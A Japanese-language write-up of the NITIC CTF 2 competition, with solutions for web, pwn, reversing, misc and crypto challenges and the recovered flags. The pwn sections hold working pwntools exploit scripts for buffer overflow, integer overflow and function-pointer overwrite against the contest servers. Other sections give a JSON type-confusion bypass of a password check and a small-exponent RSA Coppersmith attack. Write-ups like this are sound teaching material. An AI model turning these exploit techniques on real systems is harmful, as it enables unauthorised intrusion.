NITIC CTF 2 Writeup

9/5 12:00 - 9/6 24:00 (JST)に開催されたNITIC CTF 2のWriteupです。

ソロチームで参加し、3501点獲得して正の点数をとった174チーム中15位でした。

f:id:miso_24:20210907054218p:plain

Web

web_meta

web_meta.zipを展開して得られるsuper_cite.htmlのmetaタグにフラグが書かれている。

<meta name="description" content="flag is nitic_ctf{You_can_see_dev_too1!}">

long flag

開発者ツールでソースコードを見ると、spanタグにフラグが1文字ずつ書かれている。spanタグの中身を取り出して連結するだけ。

$ curl -s "https://quizzical-mcnulty-e4cdbf.netlify.app/" | grep -oE '<span>.</span>' | cut -c 7 | tr -d '\n'
nitic_ctf{Jy!Hxj$RdB$uA,b$uM.bN7AidL6qe4gkrB9dMU-jY8KU828ByP9E#YDi9byaF4sQ-p/835r26MT!QwWWM|c!ia(ynt48hBs&-,|3}

password

fuzzy_equalでパスワードのチェックを行っている。

def fuzzy_equal(input_pass, password):
    if len(input_pass) != len(password):
        return False

    for i in range(len(input_pass)):
        if input_pass[i] in "0oO":
            c = "0oO"
        elif input_pass[i] in "l1I":
            c = "l1I"
        else:
            c = input_pass[i]
        if all([ci != password[i] for ci in c]):
            return False
    return True

与えられたpassが文字列かどうかチェックされないので、["abc...XYZ", "abc...XYZ", ...]のような配列をpassとして与えるとfuzzy_equalall([ci != password[i] for ci in c])が常に成り立たなくなる。よって、fuzzy_equalがTrueを返しフラグが得られる。

import requests
import string

password = [string.ascii_letters for _ in range(32)]
res = requests.post("http://34.146.80.178:8001/flag", json={"pass":password})
print(res.text)
$ python solve.py
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}

Pwn

pwn monster 1

Aを32個入力すればHP・ATKが非常に大きな値になり、pwnchuを倒せる。

nc 35.200.120.35 9001
 ____                 __  __                 _
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|
                        Press Any Key


Welcome to Pwn Monster World!

I'll give your first monster!

Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Input name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+--------+--------------------+----------------------+
|name    | 0x4141414141414141 |             AAAAAAAA |
|        | 0x4141414141414141 |             AAAAAAAA |
|HP      | 0x4141414141414141 |  4702111234474983745 |
|ATK     | 0x4141414141414141 |  4702111234474983745 |
+--------+--------------------+----------------------+
OK, Nice name.

Let's battle with Rival! If you win, give you FLAG.

[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745
[Rival] pwnchu HP: 9999
Your Turn.

Rival monster took 4702111234474983745 damage!


[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745
[Rival] pwnchu HP: -4702111234474973746
Win!

nitic_ctf{We1c0me_t0_pwn_w0r1d!}

pwn monster 2

pwn monster 1と同様にHP・ATKを書き換えられるが、書き換えた後のHP・ATKの和が110でなければならない。

void give_monster_name(Monster* monster) {
    printf("Let's give your monster a name!\n");
    print_monster_infomation(*monster);

    int64_t checksum = monster->hp + monster->attack;

    printf("Checksum: %ld\n", checksum);

    printf("Input name: ");
    scanf("%s%*c", monster->name);

    print_monster_infomation(*monster);

    printf("Checksum: %ld\n", monster->hp + monster->attack);

    if (monster->hp + monster->attack != checksum) {
        puts("Detect cheat.");
        exit(1);
    }

    puts("OK, Nice name.");
}

HPを大きな値にしておいて、足したときにオーバーフローして110になるようにATKをセットすれば良い。ATK = (110 - HP) & 0xffffffffffffffffとするとHP + ATK = 110になる。

from pwn import *

hp = 0x7fffffffffffffff
attack = (110 - hp) & 0xffffffffffffffff

payload = b"A" * 16
payload += p64(hp)
payload += p64(attack)

p = remote("35.200.120.35", 9002)

p.recvuntil("Input name: ")
p.sendline(payload)

p.interactive()
$ python solve.py
[+] Opening connection to 35.200.120.35 on port 9002: Done
solve.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Input name: ")
[*] Switching to interactive mode
+--------+--------------------+----------------------+
|name    | 0x4141414141414141 |             AAAAAAAA |
|        | 0x4141414141414141 |             AAAAAAAA |
|HP      | 0x7fffffffffffffff |  9223372036854775807 |
|ATK     | 0x800000000000006f | -9223372036854775697 |
+--------+--------------------+----------------------+
Checksum: 110
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] AAAAAAAAAAAAAAAA\xff\xff\xff\xff\xff\xff\xff\x7fo HP: 9223372036854775807
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took -9223372036854775697 damage!
[You] AAAAAAAAAAAAAAAA\xff\xff\xff\xff\xff\xff\xff\x7fo HP: 9223372036854775807
[Rival] pwnchu HP: -9223372036854765920
Win!
nitic_ctf{buffer_and_1nteger_overfl0w}

pwn monster 3

cryのアドレスを元にshow_flagのアドレスを計算し、my_monster->cryにshow_flagのアドレスを書き込めばフラグが得られる。

from pwn import *

elf = ELF("vuln")
show_flag = elf.symbols["show_flag"]
my_monster_cry = elf.symbols["my_monster_cry"]
p
p = remote("35.200.120.35", 9003)
p.recvuntil(b"cry()")

cry_addr = int(p.recvline().split(b"|")[1].strip(), 16)
pie_base = cry_addr - my_monster_cry
flag_addr = pie_base + show_flag

payload = b"A" * 16
payload += p64(0x1337)
payload += p64(0x1337)
payload += p64(flag_addr)

p.sendline(payload)
p.interactive()
$ python solve.py
[*] '/home/vagrant/nitic2/pwn_monster_3/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 35.200.120.35 on port 9003: Done
[*] Switching to interactive mode
+--------+--------------------+----------------------+
Input name: +--------+--------------------+----------------------+
|name    | 0x4141414141414141 |             AAAAAAAA |
|        | 0x4141414141414141 |             AAAAAAAA |
|HP      | 0x0000000000001337 |                 4919 |
|ATK     | 0x0000000000001337 |                 4919 |
|cry()   | 0x0000564e78377286 |                      |
+--------+--------------------+----------------------+
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] AAAAAAAAAAAAAAAA7\x13HP: 4919
[Rival] pwnchu HP: 9999
Your Turn.
nitic_ctf{rewrite_function_pointer_is_fun}

Misc

Excel

Excel上でniticと検索するとフラグが見つかった。

nitic_ctf{plz_find_me}

Image_conv

stegoveritasというツールにafter_flag.pngを投げるとフラグが描かれた画像ファイルが手に入った。

braincheck

Brainf*ckビジュアライザーを使ってポチポチしていると、フラグと異なる入力をした際に[<+>[-]]の部分でメモリの0番地がインクリメントされていることに気がついた。[<+>[-]]でコードを区切ると次のようになった。

>,>,[>+>+<<-]>>[<<+>>-]<<[-<->]<-----
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<-
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<------
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<----
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<----
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<----
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++[<----->-]<--
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<----
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<-
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++[<----->-]<
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<---
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<---------
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<------
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++[<----->-]<-
>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++[<----->-]<----
>>[<<+>>-]<,>>+<<<[-]<[[-]>+++++++++++++++++[<+++++>-]<++.>+++++[<+++++>-]<++.---.-.-------.>>>>-<<<<[-]]>>>>[[-]>+++++++++++++[<+++++>-]<++.>++++++++[<+++++>-]<++++.+++..>++[<----->-]<---.--.>+++[<+++++>-]<++.[-]]

[-<->]以降を見ると<--...のようなパターンと<>++...[<----->-]<--...のようなパターンがあることがわかる。前者をpattern_1、後者をpattern_2とすると、それぞれ次のPythonコードのような処理を行っている。

"""
before_char : current_charの1個前の文字
current_char: 直前に入力された文字

最初の`>,>,`で`ni`と入力したとすると、
before_char = 'n'
current_char = 'i'
"""

# minus_num: <の後ろにある-の数
def pattern_1(before_char, current_char, minus_num):
    return (ord(before_char) - ord(current_char) - minus_num) & 0xff == 0

# plus_num: <>の後ろにある+の数
# minus_num: <の後ろにある-の数
def pattern_2(before_char, current_char, plus_num, minus_num):
    temp = ord(before_char) - ord(current_char)
    temp -= 5 * plus_num
    temp -= minus_num
    return temp & 0xff == 0

これをcurrent_char=の形に変形することで、1個前の文字から次の文字が得られるようになる。先頭はnだとわかっているため、フラグ全体を求めることができる。

def pattern1(x):
    def inner(before):
        return chr((ord(before) - x) & 0xff)
    return inner

def pattern2(inc, dec):
    def inner(before):
        return chr((ord(before) - inc * 5 - dec) & 0xff)
    return inner

patterns = [
    pattern1(5),
    pattern2(len("+++++++++++++++++++++++++++++++++++++++++++++++++"), 0),
    pattern2(len("++"), 1),
    pattern1(6),
    pattern1(4),
    pattern2(len("++++++++++++++++++++++++++++++++++++++++++++++++++"), 2),
    pattern2(len("+++++++++++++++++++++++++++++++++++++++++++++++"), 4),
    pattern2(len("++"), 4),
    pattern2(len("+++++++++++++++++++++++++++++++++++++++++++++++"), 0),
    pattern2(len("++++"), 2),
    pattern2(len("++++++++++++++++++++++++++++++++++++++++++++++++"), 2),
    pattern1(4),
    pattern2(len("++++++++++++++++++++++++++++++++++++++++++++++++++"), 1),
    pattern2(len("+++"), 0),
    pattern2(len("++++++++++++++++++++++++++++++++++++++++++++++++"), 3),
    pattern1(9),
    pattern1(6),
    pattern2(len("+++++++"), 1),
    pattern2(len("++++++++++++++++++++++++++++++++++++++"), 4),
]

flag = "n"

for p in patterns:
    flag = flag + p(flag[-1])

print(flag)
$ python solve.py
nitic_ctf{esoteric?}

Rev

protected

実行するとパスワードの入力を求められる。

$ ./chall
PASSWORD: hoge
Invalid password.

stringsで静的解析するとsUp3r_s3Cr37_P4s5w0Rdという怪しげな文字列が見つかるので、それを入力するとフラグが得られる。

$ ./chall
PASSWORD: sUp3r_s3Cr37_P4s5w0Rd
nitic_ctf{hardcode_secret}

report

ファイルを暗号化してくれるencrypterとreport.pdf.encというファイルが与えられる。

次のコードは、Ghidraでencrypterのmain関数をデコンパイルしたものである。

undefined8 FUN_001014bd(int param_1,undefined8 *param_2)

{
  char cVar1;
  int iVar2;
  undefined8 uVar3;
  FILE *__stream;
  FILE *__s;
  size_t sVar4;
  ulong uVar5;
  char *pcVar6;
  long in_FS_OFFSET;
  byte bVar7;
  int local_338;
  undefined local_318 [256];
  undefined local_218 [255];
  undefined4 uStack281;
  undefined auStack277 [261];
  long local_10;
  
  bVar7 = 0;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 < 2) {
    printf("Usage: %s ./file\n",*param_2);
    uVar3 = 0;
  }
  else {
    __stream = fopen((char *)param_2[1],"rb");
    if (__stream == (FILE *)0x0) {
      printf("Could not open %s\n",param_2[1]);
      uVar3 = 1;
    }
    else {
      strncpy((char *)((long)&uStack281 + 1),(char *)param_2[1],0x100);
      uVar5 = 0xffffffffffffffff;
      pcVar6 = (char *)((long)&uStack281 + 1);
      do {
        if (uVar5 == 0) break;
        uVar5 = uVar5 - 1;
        cVar1 = *pcVar6;
        pcVar6 = pcVar6 + (ulong)bVar7 * -2 + 1;
      } while (cVar1 != '\0');
      *(undefined4 *)((long)&uStack281 + ~uVar5) = 0x636e652e;
      auStack277[~uVar5] = 0;
      __s = fopen((char *)((long)&uStack281 + 1),"wb");
      if (__s == (FILE *)0x0) {
        printf("Could not open %s\n",(long)&uStack281 + 1);
        uVar3 = 1;
      }
      else {
        do {
          sVar4 = fread(local_318,1,0x100,__stream);
          iVar2 = (int)sVar4;
          if (iVar2 < 0x100) {
            local_338 = iVar2;
            if (iVar2 == 0) break;
            while (local_338 < 0x100) {
              local_318[local_338] = 0;
              local_338 = local_338 + 1;
            }
          }
          FUN_00101209(local_318,local_218,local_218);
          sVar4 = fwrite(local_218,1,0x100,__s);
          if (sVar4 < 0x100) {
            printf("Failed to write to %s\n",(long)&uStack281 + 1);
            uVar3 = 1;
            goto LAB_00101738;
          }
        } while (iVar2 == 0x100);
        fclose(__stream);
        fclose(__s);
        uVar3 = 0;
      }
    }
  }
LAB_00101738:
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar3;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

2個目のdoの中のFUN_00101209で、ファイルを0x100byteごとに暗号化している。

次のコードは、FUN_00101209デコンパイルしたものである。

void FUN_00101209(long param_1,long param_2)

{
  long in_FS_OFFSET;
  int local_11c;
  undefined8 local_118;
  undefined8 local_110;
  undefined8 local_108;
  undefined8 local_100;
  undefined8 local_f8;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_118 = 0xc2b5e93852ec1e72;
  local_110 = 0x27ea0f531f754746;
  local_108 = 0x2a898c8c6ed757cf;
  local_100 = 0x12e7a197b8a86f2;
  local_f8 = 0x7c9f5b2bd30815ab;
  local_f0 = 0x58826f3c985dde86;
  local_e8 = 0x9ef377a56285eaf2;
  local_e0 = 0x1b71a09e8b10373e;
  local_d8 = 0x650117b32f7e9dce;
  local_d0 = 0xf928e1ad2f795c14;
  local_c8 = 0xa65e121f693a9255;
  local_c0 = 0x28e33b47dadba441;
  local_b8 = 0x627c22fa9ce90908;
  local_b0 = 0x8e45e495862805d2;
  local_a8 = 0x426458ed66ebe7d2;
  local_a0 = 0x685191a02170a9ba;
  local_98 = 0x7abb33126ca97eff;
  local_90 = 0x1047cceede01bde;
  local_88 = 0xd3061b78361723cf;
  local_80 = 0xd4a5086985e255e;
  local_78 = 0xc22b726e96390c31;
  local_70 = 0xf9a944d74cdd310f;
  local_68 = 0xb0a67368b940edb7;
  local_60 = 0x4ce4b603372e3eef;
  local_58 = 0x6254f01074835dcb;
  local_50 = 0x846ea7ff5cdf28c1;
  local_48 = 0x3d175ba063eb3959;
  local_40 = 0x98777b218bcbee97;
  local_38 = 0x670388d4459a9d5;
  local_30 = 0xe951440710637bef;
  local_28 = 0x330c4a5a3dce2989;
  local_20 = 0x81d57f6dd1652132;
  local_11c = 0;
  while (local_11c < 0x100) {
    *(byte *)(param_2 + local_11c) =
         PTR_DAT_00104120[*(byte *)(param_1 + (ulong)(byte)(&DAT_00104020)[local_11c])] ^
         *(byte *)((long)&local_118 + (long)local_11c);
    local_11c = local_11c + 1;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

この処理をPythonで書き直すと次のようになる。

def encrypt(src: bytes, dest: bytes) -> None:
    for i in range(0x100):
        dest[i] = PTR_DAT_00104120[src[DAT_00104020[i]]] ^ local_118[i]

この関数と逆の処理を行って復号する。

import itertools
import sys

table = [87, 133, 14, 59, 165, 47, 76, 10, 113, 117, 213, 5, 255, 11, 68, 42, 212, 181, 17, 250, 103, 35, 189, 172, 156, 71, 157, 34, 90, 239, 99, 57, 229, 191, 126, 70, 100, 227, 46, 209, 185, 64, 146, 136, 169, 163, 2, 80, 196, 53, 125, 54, 207, 233, 184, 150, 173, 152, 102, 116, 134, 195, 236, 15, 28, 81, 232, 31, 193, 217, 22, 127, 192, 168, 244, 52, 194, 25, 55, 234, 24, 66, 139, 237, 218, 161, 40, 30, 60, 110, 167, 138, 9, 149, 148, 109, 158, 61, 74, 143, 140, 39, 95, 231, 222, 248, 224, 114, 106, 130, 145, 235, 8, 249, 245, 226, 33, 45, 225, 243, 198, 186, 122, 115, 1, 93, 206, 63, 89, 238, 203, 96, 65, 210, 88, 246, 180, 85, 120, 98, 112, 78, 178, 164, 187, 219, 220, 41, 155, 151, 247, 36, 118, 75, 147, 160, 67, 204, 123, 230, 56, 162, 101, 197, 216, 58, 38, 141, 105, 199, 188, 7, 37, 177, 94, 251, 176, 19, 119, 175, 73, 153, 205, 202, 4, 190, 108, 183, 86, 107, 23, 128, 135, 43, 69, 129, 142, 104, 241, 83, 51, 166, 253, 211, 13, 44, 20, 124, 32, 131, 144, 79, 26, 137, 240, 254, 50, 223, 214, 6, 27, 208, 170, 174, 121, 221, 132, 228, 3, 18, 154, 111, 171, 215, 29, 62, 201, 12, 159, 48, 16, 84, 179, 242, 21, 97, 92, 182, 49, 91, 77, 200, 252, 72, 82, 0]
data = [6, 140, 119, 134, 17, 237, 37, 137, 102, 100, 121, 125, 201, 13, 165, 153, 68, 107, 113, 71, 170, 158, 27, 10, 195, 191, 30, 110, 166, 130, 240, 97, 132, 53, 66, 144, 135, 178, 176, 194, 61, 244, 18, 115, 69, 62, 233, 205, 38, 65, 51, 164, 91, 45, 83, 232, 58, 197, 188, 24, 229, 186, 129, 235, 88, 159, 73, 204, 47, 172, 207, 138, 11, 72, 36, 156, 162, 180, 21, 208, 31, 25, 211, 22, 243, 7, 75, 120, 128, 52, 226, 49, 193, 87, 0, 126, 94, 112, 84, 33, 105, 155, 70, 106, 182, 203, 154, 64, 185, 23, 109, 89, 252, 234, 96, 50, 223, 117, 227, 98, 56, 167, 133, 215, 3, 241, 131, 181, 85, 95, 238, 253, 173, 14, 108, 163, 32, 192, 19, 8, 2, 90, 114, 157, 93, 251, 136, 147, 249, 57, 116, 216, 210, 79, 4, 103, 63, 206, 225, 77, 213, 202, 44, 148, 43, 219, 9, 42, 55, 231, 149, 41, 78, 34, 1, 15, 220, 212, 200, 86, 122, 20, 248, 184, 48, 67, 168, 169, 245, 141, 92, 171, 111, 150, 26, 35, 74, 12, 46, 81, 214, 146, 199, 82, 142, 228, 76, 101, 104, 151, 187, 5, 221, 190, 239, 139, 183, 152, 118, 196, 218, 179, 123, 161, 54, 160, 145, 175, 246, 250, 224, 16, 39, 28, 189, 254, 80, 222, 124, 242, 177, 174, 198, 217, 230, 60, 209, 127, 255, 99, 29, 236, 59, 143, 40, 247]
xor_data = [0xc2b5e93852ec1e72,0x27ea0f531f754746,0x2a898c8c6ed757cf,0x12e7a197b8a86f2,0x7c9f5b2bd30815ab,0x58826f3c985dde86,0x9ef377a56285eaf2,0x1b71a09e8b10373e,0x650117b32f7e9dce,0xf928e1ad2f795c14,0xa65e121f693a9255,0x28e33b47dadba441,0x627c22fa9ce90908,0x8e45e495862805d2,0x426458ed66ebe7d2,0x685191a02170a9ba,0x7abb33126ca97eff,0x1047cceede01bde,0xd3061b78361723cf,0xd4a5086985e255e,0xc22b726e96390c31,0xf9a944d74cdd310f,0xb0a67368b940edb7,0x4ce4b603372e3eef,0x6254f01074835dcb,0x846ea7ff5cdf28c1,0x3d175ba063eb3959,0x98777b218bcbee97,0x670388d4459a9d5,0xe951440710637bef,0x330c4a5a3dce2989,0x81d57f6dd1652132]
xor_data = [*itertools.chain.from_iterable(list(x.to_bytes(8, "little")) for x in xor_data)]

if len(sys.argv) != 2:
    print("Usage: python decryptor.py <enc file>")
    exit(1)

with open(sys.argv[1], "rb") as f:
    result = b""
    while (enc_data := f.read(0x100)):
        chunk = [0] * 0x100
        for i in range(0x100):
            chunk[table[i]] = data.index(enc_data[i] ^ xor_data[i])
        result += bytes(chunk)

with open("output", "wb") as f:
    f.write(result)

出力されたファイルを開くとフラグが得られた。

nitic_ctf{xor+substitution+block-cipher}

Crypto

Caesar Cipher

CyberchefのROT13でAmontの値を1ずつずらしていくとcaesarが出てきた。

nitic_ctf{caesar}

ord_xor

xorの性質から、暗号化処理をもう一度行うと平文が得られることがわかる。

enc_flag = open("flag").read()

def xor(c: str, n: int) -> str:
    temp = ord(c)
    for _ in range(n):
        temp ^= n
    return chr(temp)

for i in range(len(enc_flag)):
    print(xor(enc_flag[i], i), end="")
$ python solve.py
nitic_ctf{ord_xor}

tanitu_kanji

import os
alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"

format = os.environ["FORMAT"]
flag = os.environ["FLAG"]

assert len(format) == 10


def conv(s: str, table: str) -> str:
    res = ""
    for c in s:
        i = alphabets.index(c)
        res += table[i]
    return res


for f in format:
    if f == "1":
        flag = conv(flag, after1)
    else:
        flag = conv(flag, after2)

with open("./flag", "w") as file:
    file.write(flag)

formatの長さは10であるから、組み合わせは2^{10}=1024通りしかない。そのため、全探索で求められる。

import itertools

alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"

tables = [
    str.maketrans(after1, alphabets),
    str.maketrans(after2, alphabets),
]

enc_flag = open("flag").read()

for pattern in itertools.product(range(2), repeat=10):
    temp = enc_flag
    for p in pattern:
        temp = temp.translate(tables[p])

    if temp.startswith("nitic"):
        print(temp)
$ python solve.py
nitic_ctf{bit_full_search}

summeRSA

平文の大部分がわかっている、なおかつeの値が十分に小さいので、Coppersmith's attackで平文が求められる。Coppersmith's attackについてはこちらを参考にした。

from Crypto.Util.number import *

N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703
e = 7
c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310

beta = 1
epsilon = beta^2/7

nbits = N.nbits()
kbits = 64
mbar = bytes_to_long(b"the magic words are squeamish ossifrage. nitic_ctf{") << (8 * 8)

PR.<x> = PolynomialRing(Zmod(N))
f = (mbar + x) ^ e - c

x0 = f.small_roots(X=2^kbits, beta=1)
if x0:
  m = mbar + x0[0]
  print(long_to_bytes(m))
$ sage solve.sage
b'the magic words are squeamish ossifrage. nitic_ctf{k01k01!}'